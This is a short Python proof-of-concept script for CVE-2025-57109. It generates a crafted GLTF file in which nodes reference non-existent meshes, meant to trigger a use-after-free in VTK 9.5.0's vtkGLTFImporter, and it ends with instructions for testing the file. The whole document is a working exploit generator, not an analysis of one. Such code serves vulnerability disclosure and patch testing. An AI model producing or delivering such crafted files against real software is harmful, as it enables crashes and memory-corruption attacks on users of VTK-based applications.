#!/usr/bin/env python3
"""
CVE-2025-57109 PoC - Malicious GLTF file generator
Generates a GLTF file with invalid scene node references to trigger Use-After-Free
"""
import json
import os
def create_malicious_gltf():
"""
Create a malicious GLTF file with invalid node references
that triggers the Use-After-Free in vtkGLTFImporter::ImportActors
"""
gltf_data = {
"asset": {
"version": "2.0",
"generator": "VTK CVE-2025-57109 PoC"
},
"scenes": [
{
"name": "malicious_scene",
"nodes": [0, 1, 2, 3]
}
],
"scene": 0,
"meshes": [
{
"name": "valid_mesh_1",
"primitives": [
{
"attributes": {
"POSITION": 0
}
}
]
},
{
"name": "valid_mesh_2",
"primitives": [
{
"attributes": {
"POSITION": 1
}
}
]
}
],
"accessors": [
{
"bufferView": 0,
"componentType": 5126,
"count": 3,
"type": "VEC3",
"max": [1.0, 1.0, 0.0],
"min": [0.0, 0.0, 0.0]
},
{
"bufferView": 0,
"componentType": 5126,
"count": 3,
"type": "VEC3",
"max": [1.0, 1.0, 0.0],
"min": [0.0, 0.0, 0.0]
}
],
"bufferViews": [
{
"buffer": 0,
"byteOffset": 0,
"byteLength": 36
}
],
"buffers": [
{
"byteLength": 36,
"uri": "data:application/octet-stream;base64,AAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAIAAAAAAAAAAAAA=="
}
]
}
return gltf_data
def create_invalid_scene_nodes_gltf():
"""
Create GLTF with invalid mesh references in nodes
This triggers the UAF by referencing non-existent meshes
"""
gltf_data = create_malicious_gltf()
gltf_data["nodes"] = [
{
"name": "valid_node_1",
"mesh": 0
},
{
"name": "node_with_invalid_mesh_ref",
"mesh": 999
},
{
"name": "another_invalid_ref",
"mesh": 888
},
{
"name": "valid_node_2",
"mesh": 1
}
]
return gltf_data
if __name__ == "__main__":
output_dir = "./poc_output"
os.makedirs(output_dir, exist_ok=True)
gltf_data = create_invalid_scene_nodes_gltf()
output_path = os.path.join(output_dir, "CVE-2025-57109_malicious.gltf")
with open(output_path, 'w') as f:
json.dump(gltf_data, f, indent=2)
print(f"[+] PoC GLTF file created: {output_path}")
print("[+] This file contains invalid mesh references that can trigger UAF")
print("[+] To test: Load this file using VTK 9.5.0's vtkGLTFImporter")